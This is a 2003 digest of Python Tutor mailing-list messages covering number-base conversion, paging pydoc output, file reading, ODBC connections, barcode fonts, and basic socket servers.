From hillcino368@hotmail.com  Sun Jun 22 02:08:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Sun Jun 22 01:08:01 2003
Subject: [Tutor] RE: Base converter bases 2-62
Message-ID: <Law15-F24gpYfRo3wO500071658@hotmail.com>



>From: Magnus Lyckå <magnus@thinkware.se>
>To: "cino hilliard" <hillcino368@hotmail.com>, tutor@python.org
>Subject: Re: [Tutor] RE: Base converter bases 2-62
>Date: Fri, 20 Jun 2003 21:11:06 +0200
>
>At 11:47 2003-06-20 +0000, cino hilliard wrote:
>>You are discouraging the old man. :--)
>
>I believe in brutal honesty. :) If you are learning a new
>programming languange as an "old man", I assume you are
>open to challenges, and to finding new ways of doing things.
You bet.
>
>From a practical point of view, I do see a point in being able
>to handle different bases. But honestly not bases above 16. For
For signitures is fun. Or to tell someone off in code like your boss. 
Kidding. :)
>some kind of generic encryption or coding, there are lots of
>existing formats already. See the binascii module for instance.
Yeah you can use c with my little gem
#define b2b(b1,b2,num) itoa(strtol(num,NULL,b1),num,b2)
good to base 36. Doesn't restrict you to just 3 or 4 bases *but* has a 
integer limitation 2^31-1
>
>E.g.
> >>> binascii.b2a_uu('Cino Hilliard')
>'-0VEN;R!(:6QL:6%R9   \n'
> >>> binascii.b2a_hqx('Cino Hilliard')
>'3fPZEb")D@aXD@&bC!'
> >>> binascii.b2a_hex('Cino Hilliard')
>'43696e6f2048696c6c69617264'
> >>> binascii.b2a_base64('Cino Hilliard')
>'Q2lubyBIaWxsaWFyZA==\n'
>
>But I can surely agree that sheer amusement, learning and discovery
>are quite good reasons for programming. Don't let me stop you.
>
>What I'd really like to see concerning different bases, would be
>that binary format was as well supported as hexadecimal. I.e.
>just like we can do...
>
> >>> 0xbeef
>48879
> >>> print "%x" % 123
>7b
> >>> hex(123)
>'0x7b'
>
>...we should be able to do...
>
> >>> 0b10101010
> >>> print "%b" % 1323123
> >>> bin(123)
>
>Particularly for learning, I think that
>
> >>> print "%b" % (0b110011 | 0b001100)
>111111
>
>is much easier to understand than
>
> >>> print 51 | 12
>63
>
>
>I wrote:
>>>digits = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
>>
>>>def numToBase(num, base):
>>>     stack = []
>>>     while num:
>>>         stack.append(digits[num % base])
>>>         num = num // base
>>>     stack.reverse()
>>>     return "".join(stack)
>>>
>>>This version only work for positive numbers though.
>>>But it's fairly simple to handle negatives and zero
>>>I think. I leave it as an excise to the reader...
>
>>I like this. Here is my version.
>>
>>def numToBase(num, base):
>>     import string
>>     digits=""
>>     for j in range(48,58):         #build digit table 0-9
>>           digits = digits + chr(j)
>>     for j in range(65,91):         #Add to digit table A-Z
>>           digits = digits + chr(j)
>>     for j in range(97,123):        #Add to digit Table a-z
>>           digits = digits + chr(j)
>>     stack = []
>>     while num:
Can you explain the next three lines?
>>         stack.append(digits[num % base])
>>         num = num // base
>>     stack.reverse()

>>     x =  "".join(stack)
>>     print x
>>#    return x
>
>In think the explicit version where the string is stated as a literal
>is better for several reasons:
>  * First of all, my code is shorter and in my opinion easier to
>    understand.
Suppose we wanted to use ascii 32 - 255. How would you do it literally?
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno
pqrstuvwxyz{|}~&#8962;ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜ¢£¥&#8359;ƒáíóúñѪº¿&#8976;¬½¼¡«»&#9617;&#9618;&#9619;&#9474;&#9508;&#9569;&#9570;&#9558;&#9557;&#9571;&#9553;
&#9559;&#9565;&#9564;&#9563;&#9488;&#9492;&#9524;&#9516;&#9500;&#9472;&#9532;&#9566;&#9567;&#9562;&#9556;&#9577;&#9574;&#9568;&#9552;&#9580;&#9575;&#9576;&#9572;&#9573;&#9561;&#9560;&#9554;&#9555;&#9579;&#9578;&#9496;&#9484;&#9608;&#9604;&#9612;&#9616;&#9600;&#945;ß&#915;&#960;&#931;&#963;µ&#964;&#934;&#920;&#937;&#948;&#8734;&#966;&#949;&#8745;&#8801;±
&#8805;&#8804;&#8992;&#8993;÷&#8776;°&#8729;·&#8730;&#8319;²&#9632;
How would you handle the quotes and comma?
Looks like 6 to one and 12/6 to the other.

>  * In actuality, it *is* a constant. It will look the same each time
>    you create it.
>
>>Example
>>>>>convert.numToBase(680503772433971638008487115952059,62)
>>3iEaIWRTFVzvd3szVet
>>This agrees with the example above in my code. Now, how do you go back?
>>Well long(s,radix) will work up to base 36. I will figure it out.
>
>Ok, if you want to go beyond base 36, you need to code the
>other way as well. Jeff Shannon already mentioned that you
>can use the string method index for that.
>
>"0123456789ABC".index("B") will return 11.
This is good. I will try.
>
>That's a start... The rest is just like above but backwards... :)
>
>Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
>Thinkware AB, Sweden, www.thinkware.se
>I code Python ~ The Agile Programming Language
>

_________________________________________________________________
The new MSN 8: smart spam protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From dyoo@hkn.eecs.berkeley.edu  Sun Jun 22 02:18:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun 22 01:18:01 2003
Subject: [Tutor] help> modules    [hacking pydoc.Helper.list() for fun
 and profit]
In-Reply-To: <195.1c294e37.2c261591@aol.com>
Message-ID: <Pine.LNX.4.44.0306212145500.17762-100000@hkn.eecs.berkeley.edu>


On Sat, 21 Jun 2003 GREENDAY31087@aol.com wrote:

>        When I'm in the Python shell, I type in help and go to "modules."
> I was hoping to see them all but DOS went through it fast and ended up
> on a later part of the list of modules. How can I make it say <more> so
> I can simply push a button to see the next page? I'm not really
> experienced in DOS.

Hi Greenday,

Hmmm... you're right; that is annoying!  I think it should use that
'paging' utility to do one screen at a time, the same thing that it does
for displaying specific module help.


Ok, I've isolated the code that can be modified to make it do what you
want. It's in the 'pydoc.py' Standard Library, in the 'list()' method of
the Helper class --- originally, it's doing this:

###
    def list(self, items, columns=4, width=80):
        items = items[:]
        items.sort()
        colw = width / columns
        rows = (len(items) + columns - 1) / columns
        for row in range(rows):
            for col in range(columns):
                i = col * rows + row
                if i < len(items):
                    self.output.write(items[i])
                    if col < columns - 1:
                        self.output.write(' ' + ' ' *
                                           (colw-1 - len(items[i])))
            self.output.write('\n')
###



A lot of that code is layout related.  I've hacked it a bit so that the
text goes through pydoc's pager()  function instead of directly through
self.output.  Wherever there's a self.output.write(), we can modify it so
that it feeds all that output into the thing that makes it display only
one page at a time:

###
from cStringIO import StringIO          ## at the top of pydoc.py, add
                                        ## this.

    ## and within the Helper class...
    def list(self, items, columns=4, width=80):
        items = items[:]
        items.sort()
        colw = width / columns
        rows = (len(items) + columns - 1) / columns
        buffer = StringIO()
        for row in range(rows):
            for col in range(columns):
                i = col * rows + row
                if i < len(items):
                    buffer.write(items[i])
                    if col < columns - 1:
                        buffer.write(' ' + ' ' * (colw-1 - len(items[i])))
            buffer.write('\n')
        pager(buffer.getvalue())
###

Done!  *grin*

'Greenday, if you're feeling ambitious, you can fix this by diving into
the pydoc.py module in the Standard Library and making these changes
yourself.  If you go this route, make backup copies first.  *grin*

Otherwise, email me privately, and I can just send my modified source to
you.

By the way, question for everyone: is this useful enough to send as a
patch to the pydoc folks?




By the way, how about using the IDLE command prompt?  IDLE does everything
in a window that can be scrolled back, so you can probably see all the
modules from there.

You might also find:

    http://web.pydoc.org/

sufficient; it's the same content, but as a set of web pages.



From alan.gauld@blueyonder.co.uk  Sun Jun 22 04:40:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun 22 03:40:01 2003
Subject: [Tutor] Readlines
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net>
Message-ID: <00b901c33891$1f272ba0$6401a8c0@xp>

> you folks think. Take the code below. I notice that Read() is
> apparently incredibly slow! 

Reading from a file is slower than reading from memory so don't 
expect reading a file character by character to be fast.

> fhand=open(filepath,'r')
> 
> while c!='':
>     while z!='\n':
>         z=fhand.read(1)
>         print z,
>     ln=ln+1
>     c=z

You could replace this with:

ln = 0
while 1:
     line = f.readline()
     if not line: break
     print line
     ln += 1
     if ln % 100 == 0: print ln

Note readline singular.

Even easier should be

for line in f.xreadlines():
    print line

Note xreadlines() not readlines...

Alan G.


From alan.gauld@blueyonder.co.uk  Sun Jun 22 04:44:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun 22 03:44:02 2003
Subject: [Tutor] help> modules
References: <195.1c294e37.2c261591@aol.com>
Message-ID: <00c101c33891$aee962d0$6401a8c0@xp>

> How can I make it say <more> so I can simply push
> a button to see the next page? I'm not really experienced in DOS.
>

This isn't really a DOS issue, its how the python command works.
BUT If you go into the properties dialog of the DOS window
(via the toolbar icon or from the DOS icon at top left on the Window)
and go to the Options tab, you can set the buffer size to a big number
- I use 500 - and then use the scroll bar to scroll back up to
the bit you want.

HTH,

Alan G.

PS. I hope thats not an NT/XP only trick...



From nas-pytut@python.ca  Sun Jun 22 11:53:13 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Sun Jun 22 10:53:13 2003
Subject: [Tutor] Readlines
In-Reply-To: <463192576.20030621171956@roadrunner.nf.net>
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net>
Message-ID: <20030622144017.GA25803@glacier.arctrix.com>

Adam Vardy wrote:
> Now I'm trying Read(). I have a couple observations, and wonder what
> you folks think. Take the code below. I notice that Read() is
> apparently incredibly slow! Text appears on screen, cursor slowly
> gliding across. Which surprises as it is only reading a byte at a
> time. On a Gigahertz machine.

Are you using Windows?  As I recall, the display for command shells is
really slow.  You could try redirecting the output to a file and see if
things go faster.

  Neil


From bgailer@alum.rpi.edu  Sun Jun 22 16:04:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Sun Jun 22 15:04:01 2003
Subject: [Tutor] ODBC problem
In-Reply-To: <004d01c337ad$a32e5b60$e019a8c0@slu.edu.ph>
References: <20030620193235.48145.qmail@web20202.mail.yahoo.com>
Message-ID: <5.2.1.1.0.20030622120908.02535830@66.28.54.253>

--=======78996D1F=======
Content-Type: text/plain; x-avg-checked=avg-ok-497019A7; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

 >>> import odbc
 >>> odbc.odbc("Driver=Microsoft Visual FoxPro 
Driver;SourceType=DBF;SourceDB=j:\\samis\\academy;Exclusive=No")
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
dbi.internal-error: [Microsoft][ODBC Driver Manager] Invalid string or 
buffer length in LOGIN

What does this error mean? What am I doing wrong?

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======78996D1F=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-497019A7
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======78996D1F=======--



From AJGables@cs.com  Sun Jun 22 22:20:02 2003
From: AJGables@cs.com (AJGables@cs.com)
Date: Sun Jun 22 21:20:02 2003
Subject: [Tutor] Re: help me unsubscribe
Message-ID: <1cd.c5fe936.2c27afb3@cs.com>

--part1_1cd.c5fe936.2c27afb3_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

PLEASE HELP ME UNSUBSCRIBE.  JUST TAKE ME OFF THIS LIST.  AJ    

--part1_1cd.c5fe936.2c27afb3_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  COLOR=3D"#0000ff" SIZE=3D4 FAMILY=
=3D"SERIF" FACE=3D"Baskerville Old Face" LANG=3D"0">PLEASE HELP ME UNSUBSCRI=
BE.&nbsp; JUST TAKE ME OFF THIS LIST.&nbsp; AJ&nbsp;&nbsp;&nbsp; </FONT></HT=
ML>

--part1_1cd.c5fe936.2c27afb3_boundary--


From rmangaliag@slu.edu.ph  Mon Jun 23 00:01:00 2003
From: rmangaliag@slu.edu.ph (ali mangaliag)
Date: Sun Jun 22 23:01:00 2003
Subject: [Tutor] ODBC problem
References: <20030620193235.48145.qmail@web20202.mail.yahoo.com> <5.2.1.1.0.20030622120908.02535830@66.28.54.253>
Message-ID: <005b01c33935$33c7fc20$da19a8c0@slu.edu.ph>

>>> import odbc
>  >>> odbc.odbc("Driver=Microsoft Visual FoxPro 
> Driver;SourceType=DBF;SourceDB=j:\\samis\\academy;Exclusive=No")
> Traceback (most recent call last):
>    File "<interactive input>", line 1, in ?
> dbi.internal-error: [Microsoft][ODBC Driver Manager] Invalid string or 
> buffer length in LOGIN
> 

i came accross the same problem before...
try using the old way of making connection strings...

odbc.odbc("dsn/user/password")





From mico@intermatik.co.id  Mon Jun 23 01:28:02 2003
From: mico@intermatik.co.id (Mico Siahaan)
Date: Mon Jun 23 00:28:02 2003
Subject: [Tutor] Creating barcodes
Message-ID: <3EF68044.000003.02760@siahaan>

One of my client ask me to make an application for creating, viewing then
printing barcodes in Windows environment. Is there any python modules tha=
t
would help me to create such application? =0D
=0D
Thanks.=0D
=0D
Mico Siahaan=0D
--------------------------=0D
mico@intermatik.co.id=0D
Mobile ph. 08179997828=0D
=20



From mico@intermatik.co.id  Mon Jun 23 05:37:02 2003
From: mico@intermatik.co.id (Mico Siahaan)
Date: Mon Jun 23 04:37:02 2003
Subject: [Tutor] Viewing postscript
Message-ID: <10122.203.130.222.22.1056357293.squirrel@intermatik.co.id>

How can I preview an postscript file using python script in Windows XP?
I have some postscript files, and I want to make a python application to
preview the script.

Thanks

-- 
Mico Siahaan
-------------
mico@intermatik.co.id





From am@fx.ro  Mon Jun 23 05:42:02 2003
From: am@fx.ro (Adrian Maier)
Date: Mon Jun 23 04:42:02 2003
Subject: [Tutor] Creating barcodes
In-Reply-To: <3EF68044.000003.02760@siahaan>; from mico@intermatik.co.id on Mon, Jun 23, 2003 at 11:21:24AM +0700
References: <3EF68044.000003.02760@siahaan>
Message-ID: <20030623085654.A255@coto>

Mico Siahaan (mico@intermatik.co.id) a scris :
> One of my client ask me to make an application for creating, viewing then
> printing barcodes in Windows environment. Is there any python modules that
> would help me to create such application? 

I know that there are TTF fonts for barcodes. These fonts behave
just like any other font ( for example you can use it in Word ).
You'll need to choose which barcode standard you'll use, and search the
web for the corresponding font. 

I hope this helps.


Adrian Maier


From patrick@kirks.net  Mon Jun 23 06:26:03 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Mon Jun 23 05:26:03 2003
Subject: [Tutor] error: (10054, 'Connection reset by peer')
Message-ID: <3EF6C7B1.5090608@kirks.net>

Hi all,

I'm coding a Gnutella daemon and it crashes when a peer resets the 
connection.

I've tried to set up logging to catch the problem but the function dies 
before anything gets logged.

How should I handle this?

createSocket() reads as follows:

# Create listener and process input
def createSocket():
	sockobj = socket(AF_INET, SOCK_STREAM)		# makes socket object
	sockobj.bind((myHost, myPort))			# binds it to server and port
	sockobj.listen(50)				# number of connections allowed
	
	
	while 1:					# listen 'til process killed
		connection, address = sockobj.accept()	# waiting for connection
		data = connection.recv(1024)		# read next line on client socket
		remoteIP = address[0]			# address is a tuple
		if not data: break
		handshake0 = 'GNUTELLA CONNECT/0.6'
		handshakeRequest = data.find(handshake0)
		request = 'GET '
		fileRequest = data.find(request)
		if fileRequest > -1:
			connection.send('GNUTELLA/0.6 503 Full\r\n') # Gently say I can't help.
			connection.close()  # Rude but how does one say NO?
			logGETs = open("GETsLog.txt", "a")
			logGETs.write(remoteIP)
			logGETs.write('\t')
			logGETs.write(data)
			logGETs.write('\r\n')
			logGETs.close()

		
		elif handshakeRequest > -1:
			connection.send('GNUTELLA/0.6 200 OK\r\n' ) # lets see what reply we get
			if not data: break		# send reply line to client
			logHandshake = open("handshakeLog.txt", "a")
			logHandshake.write(remoteIP)
			logHandshake.write('\t')
			logHandshake.write(data)
			logHandshake.write('\r\n')
			logHandshake.close()

		elif error:
			logOthers = open("othersLog.txt", "a")
			logOthers.write(' Error \r\n')
			logOthers.close()
			break

	
	    	else:
			connection.send('GNUTELLA/0.6 503 Full\r\n') # #Gently say I can't help.
			connection.close()
			logOthers = open("othersLog.txt", "a")
			logOthers.write(remoteIP)
			logOthers.write('\t')
			logOthers.write(data)
			logOthers.write('\r\n')
			logOthers.close()

The error is as follows:

   File "C:\Documents and Settings\patrick\Desktop\p2pdev\server.py", 
line 16, in createSocket
     data = connection.recv(1024)		# read next line on client socket
   File "<string>", line 1, in recv
error: (10054, 'Connection reset by peer')
-- 

Best regards,


Patrick Kirk
Mobile: 07876 560 646




From ATrautman@perryjudds.com  Mon Jun 23 12:25:55 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Mon Jun 23 11:25:55 2003
Subject: [Tutor] Creating barcodes
Message-ID: <06738462136C054B8F8872D69DA140DB010813@corp-exch-1.pjinet.com>

What kind of barcode do they want top use? It's easy enough to purchase TTF
in chr128a-g (United States Postal Service but don't worry it's quite
universal) format which are used just like a font and will be easy to
incorporate into anything that can handle character fonts. Pure 3d and newer
USPS fonts must be rendered and will be much harder to provide preview for
but, depending on the algorithm you could generate the code yourself to
postscript and figure out how to display it from there. I would recommend a
much better definition of bar code from your client there a several hundred
available formats that you can select from.

HTH,
Alan

-----Original Message-----
From: Mico Siahaan [mailto:mico@intermatik.co.id]
Sent: Sunday, June 22, 2003 11:21 PM
To: tutor@python.org
Subject: [Tutor] Creating barcodes


One of my client ask me to make an application for creating, viewing then
printing barcodes in Windows environment. Is there any python modules that
would help me to create such application? 



Thanks.



Mico Siahaan

--------------------------

mico@intermatik.co.id

Mobile ph. 08179997828

 


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From bgailer@alum.rpi.edu  Mon Jun 23 12:50:16 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Mon Jun 23 11:50:16 2003
Subject: [Tutor] ODBC problem
In-Reply-To: <005b01c33935$33c7fc20$da19a8c0@slu.edu.ph>
References: <20030620193235.48145.qmail@web20202.mail.yahoo.com>
 <5.2.1.1.0.20030622120908.02535830@66.28.54.253>
Message-ID: <5.2.1.1.0.20030623094208.01b236e8@66.28.54.253>

--=======52592513=======
Content-Type: text/plain; x-avg-checked=avg-ok-5664656; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 11:11 AM 6/23/2003 +0800, ali mangaliag wrote:

> >>> import odbc
> >  >>> odbc.odbc("Driver=Microsoft Visual FoxPro
> > Driver;SourceType=DBF;SourceDB=j:\\samis\\academy;Exclusive=No")
> > Traceback (most recent call last):
> >    File "<interactive input>", line 1, in ?
> > dbi.internal-error: [Microsoft][ODBC Driver Manager] Invalid string or
> > buffer length in LOGIN
> >
>
>i came accross the same problem before...
>try using the old way of making connection strings...
>
>odbc.odbc("dsn/user/password")

But doesn't that require that I create a Data Source? I'm trying to avoid 
that extra step.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======52592513=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-5664656
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======52592513=======--



From Adam Vardy <anvardy@roadrunner.nf.net>  Mon Jun 23 14:57:01 2003
From: Adam Vardy <anvardy@roadrunner.nf.net> (Adam Vardy)
Date: Mon Jun 23 13:57:01 2003
Subject: [Tutor] Readlines
In-Reply-To: <00b901c33891$1f272ba0$6401a8c0@xp>
References: <2152563261.20030621142247@roadrunner.nf.net>
 <463192576.20030621171956@roadrunner.nf.net> <00b901c33891$1f272ba0$6401a8c0@xp>
Message-ID: <124105203845.20030623152613@roadrunner.nf.net>

Sunday, June 22, 2003, 5:07:23 AM, you wrote:

>> for line in f.xreadlines():
>>     print line

How do you tell what line it is on there?

-- 
Adam Vardy



From tireseas@onetel.com  Mon Jun 23 16:09:02 2003
From: tireseas@onetel.com (Andy Wolfe)
Date: Mon Jun 23 15:09:02 2003
Subject: [Tutor] Graphics module
Message-ID: <200306232009.08685.tireseas@onetel.com>

Hello

I am working my way through Zelle's "Python Programming". He is using=20
Python 1.5 and imports a module called 'graphics'. I tried this and there=
=20
is no module by that name.
Was the name changed or is it not standard issue and must be downloaded=20
separately?

TIA

Andy


--=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From jeff@ccvcorp.com  Mon Jun 23 17:14:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 23 16:14:02 2003
Subject: [Tutor] The time and clock functions
References: <20030621.072059.-42349.2.walt436@juno.com> <20030621143523.GA441@hooloovoo>
Message-ID: <3EF75F47.2010703@ccvcorp.com>

Abel Daniel wrote:

>>When I am in IDLE,  I can't get the time() or clock() functions to work. 
>>Can someone provide a code snippet I can use???  I thought they were
>>built-in and didn't require anything more than just invoking them. 
>>Thanks.
>>    
>>
>They are in the module named 'time', so you need to 'import time' first.
>(or 'from time import time, clock' if you want to call them as time()
>and clock() and not as time.time() and time.clock(). )
>

But note that if you use 'from time import time', you'll then have 
difficulty accessing any other functions in the time module.  Since 
you've taken the name 'time' for just the single function, you can no 
longer access the module by the name 'time'.  This may not be an issue 
in a given script, but it's something to be aware of.

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Mon Jun 23 17:33:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 23 16:33:02 2003
Subject: [Tutor] Readlines
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net>
Message-ID: <3EF763CC.4070203@ccvcorp.com>

Adam Vardy wrote:

>Now I'm trying Read(). I have a couple observations, and wonder what
>you folks think. Take the code below. I notice that Read() is
>apparently incredibly slow! Text appears on screen, cursor slowly
>gliding across. Which surprises as it is only reading a byte at a
>time. On a Gigahertz machine.
>

Well, for starters, if this is running at all, you've left out at least 
a couple of lines.  (You'd need to initialize c and z to some value in 
order to avoid getting a NameError.)  

As for why it's not working right... you never specify just *what* it's 
doing wrong, but I can see one problem.  Think a bit about the exit 
conditions for your inner loop --

>while c!='':
>    while z!='\n':
>        z=fhand.read(1)
>        print z,
>    ln=ln+1
>    c=z
>    if ln%100==0:
>        print ln
>        time.sleep(1)
>

The inner loop runs until z is '\n', and then it moves the '\n' into c. 
 Because z cannot be anything except '\n' at the end of the inner loop, 
that means that c will always be '\n', and you could just as well 
replace the line c=z with c='\n'.  At this point, you may see where the 
problem is -- since c is always a newline, it will never be an empty 
string '', and your outer loop will therefore never finish.  Also, as an 
artifact of the way that 'print' works, a space character is printed in 
between each character read from the file -- 'print' assumes that each 
variable given to it is a separate word (or larger unit), and tries to 
do a minimal amount of formatting based on that assumption.  If you want 
to specify every byte that's printed, you need to use sys.stdout.write() 
instead.

Note that 'z = fhand.readline()' will accomplish about the same thing 
that your inner loop is trying to do, and will leave z containing an 
entire line instead of just a newline character.  This would allow you 
to keep your outer-loop structure more or less the same, if you really 
want that, since after the final newline z (and therefore c) will be an 
empty string.  However, if you just want to read each line and print it, 
with a pause every 100 lines, this would be a lot simpler:

fhand = file(filepath,'r')

ln = 0
for line in fhand.xreadlines():
    print line
    ln += 1
    if ln % 100 == 0:
        print ln
        time.sleep(1)

Jeff Shannon
Technician/Programmer
Credit International




From patrick@kirks.net  Mon Jun 23 17:44:01 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Mon Jun 23 16:44:01 2003
Subject: [Tutor] Socket Programming HOWTO doesn't work!
Message-ID: <3EF76661.8080001@kirks.net>

This is a multi-part message in MIME format.
--------------000600010406070403000803
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

There is a Python socket programming tutorial shipped with PythonWin, it 
always comes up on Google and seems to be considered the reference for 
Python.

So I tried it.

It bombs out on Windows and Linux.  I tried adding from socket import * 
to the top but that failed as well.

What's going on here?  I can't possibly be the first person to have 
tried using this tutorial.
-- 

Best regards,


Patrick 'mystified' Kirk



--------------000600010406070403000803
Content-Type: text/plain;
 name="socket.py"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="socket.py"

#create an INET, STREAMing socket
serversocket = socket.socket(
socket.AF_INET, socket.SOCK_STREAM)
#bind the socket to a public host, 
# and a well-known port
serversocket.bind((socket.gethostname(), 80))
#become a server socket
serversocket.listen(5)
--------------000600010406070403000803--



From jeff@ccvcorp.com  Mon Jun 23 18:33:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 23 17:33:01 2003
Subject: [Tutor] built in functions int(),long()+convert.base(r1,r2,num)
References: <Law15-F18paMqZXGsMt00055598@hotmail.com>
Message-ID: <3EF771DA.4070205@ccvcorp.com>

cino hilliard wrote:

>> You cannot convert to any other base than 2 (a series of charges in a 
>> set of transistors), but every time that Python shows you the number,
>
>> it'll automatically convert it to base 10 for you, because
>
> How can this be? You just said "You cannot convert to any other base 
> than 2
> (a series of charges in a set of transistors) 


Right.  The computer stores integers in base 2, by creating a pattern of 
charges.  When it comes time to display that integer on the screen, 
however, the display functions convert that pattern of charges into a 
string of characters representing that number in base 10.

>> But all of this is beside the point, because, as I said before, an 
>> integer doesn't care what base you think it is[...] 
>

> This is quite vague. If you type
>
>>>> print 12345
>>>
> 12345
> you  get a base 10 number. The print command gives output in decimal 
> or base 10.
>
>>>> print 0xFFFF
>>>
> 65535
> Even using hex notation print still outputs base 10. 


Yes, because in both cases, the interpreter converts the number you've 
typed into an internal integer (which it stores, however briefly, in 
binary format), and then sends that integer to the display routines, 
which automatically convert it to a string in base 10 for display purposes.

> You are conflating the inner-workings of python and the output as the 
> same unified thing.  Again the
> key word is output not the  electrical capacitance of transistors. 
> BTW, I don't think a transistor is a capacitor but rather a 
> simi-conducter or amplier and switch. A  Dynamic Ram memory cell has a 
> transistor
> AND capacitor. The capacitor holds the charge bit=1 and the transistor 
> is controlled by the memory
> circutry the release of the charge. I picked this up with a google 
> search. The processor probably has both also. 


The key is that the output is a separate thing than the storage of (and 
the existence of) the number.  I may have used the wrong terms for the 
various electronic components -- I'm not an electrical engineer, nor do 
I desire to become one, and my understanding of the electronics involved 
is very abstract.  The point is that the internal representation of a 
number is different than the string that's shown on the screen when the 
number is displayed.  Yet they both represent the same number, even 
though each representation uses a different base.

> Maybe any integer in the range [2, 36], or zero. If radix is zero,
> the proper radix is guessed based on the contents of string;
> Should the parser not guess that the radix is 29 or higher for 
> int('JEFFSHANNON',0)? 


It guesses by the same rules that it uses to parse numeric literals in 
any code, as the docs for int() describe.  If you were to start the 
interpreter and type JEFFSHANNON, what would you expect?  Since there 
are no numeric characters in that, and it doesn't use any of the special 
indications for octal or hex numbers, this is an error.  The parser will 
decide that it must be an identifier, and will try to resolve it, giving 
a NameError when it finds nothing with that name.  Since int() knows 
that it's supposed to be a number, but doesn't see any indications that 
it *is* a number, it gives an error.  It doesn't try to guess that the 
radix is the lowest number that can represent the highest-ordinal 
character in the string, because the odds that someone really wants that 
are insignificant.  There are *very* few uses for numbers in an 
arbitrary radix; 99.9% of the time, a displayed number should be  
represented in binary, octal, decimal, or hexidecimal.  Of the tiny 
percentage of times that someone actually wants something in some other 
radix, almost all of those occurrences are simply examples showing how 
different numeric bases work.  I have never seen, and can't imagine, a 
project for which it's truly useful and practical to represent something 
in base 29.

> Internal manipulation is a separate issue from display,
> I am not questioning the internals. It is the display or output I am 
> interested in. 


So why are you having such a difficult time with the concept that the 
fact that you're shown a base 10 number is just an attribute of the 
display?  

>> and there *is* a conversion step in between.  The conversion is 
>> especially apparent when dealing with floats, because the same float 
>> will display differently depending on whether you use str() or repr() 
>> (the interpreter uses repr() by default) --
>>
>> >>> repr(0.1)
>> '0.10000000000000001'
>
> Can't this be fixed? 


Which, that 0.1 can't be represented in binary?  No, that can't be fixed 
-- it's a well-known limitation of binary floating point numbers, and is 
inherent in the mathematics.  The only "fix" would be to completely 
redesign every bit of computer floating-point code and hardware in use, 
following entirely different principles (true decimal floating point, or 
full rational numbers, instead of binary floating point).  And even 
then, it would only partially solve the problem, because some numbers 
simply cannot be represented with a finite (and very limited) number of 
digits, regardless of the base that's used to represent them.

>
>> >>>
>
> Then why this?
>
>>>> print 0.1
>>>
> 0.1
> if (the interpreter uses repr() by default) 


This is because 'print' uses str() by default.

>> FFFF = "15"
>> base3.convert(16, 2, FFFF)
>>
>> Now, is this intended to convert 15 to binary (11111111), or FFFF to 
>> binary (11111111 11111111 11111111 11111111) ??  There's no way to 
>> tell, and Python certainly shouldn't be trying to guess.
>
> Oh no? The Book says
>
>> Maybe any integer in the range [2, 36], or zero. If radix is zero, 
>> the proper radix is guessed based on the contents of string;
>
> However, it doesen't work. 


That's the case once a string has already been passed into the function. 
 The important point is that Python must be able to tell whether it's a 
string or a numeric literal *before* it's passed into the function, and 
before it has any knowledge of *what* function this parameter is 
intended for.  And anyhow, the way that Python "guesses" the proper 
radix is a much simpler and more straightforward procedure than what 
you're imagining.  Such a "guess" will result in one of three possible 
radixes (radices?) -- hexidecimal if the string starts with '0x', octal 
if the string starts with '0' and the second character is *not* 'x', or 
decimal otherwise.  Whichever of these three options it guesses, it will 
give an error (invalid literal) if there are characters that are not 
appropriate for digits in that particular base.

Note that, by your logic of how these guesses should be done, 
int('21',0) would be interpreted as being in trinary (base 3), and would 
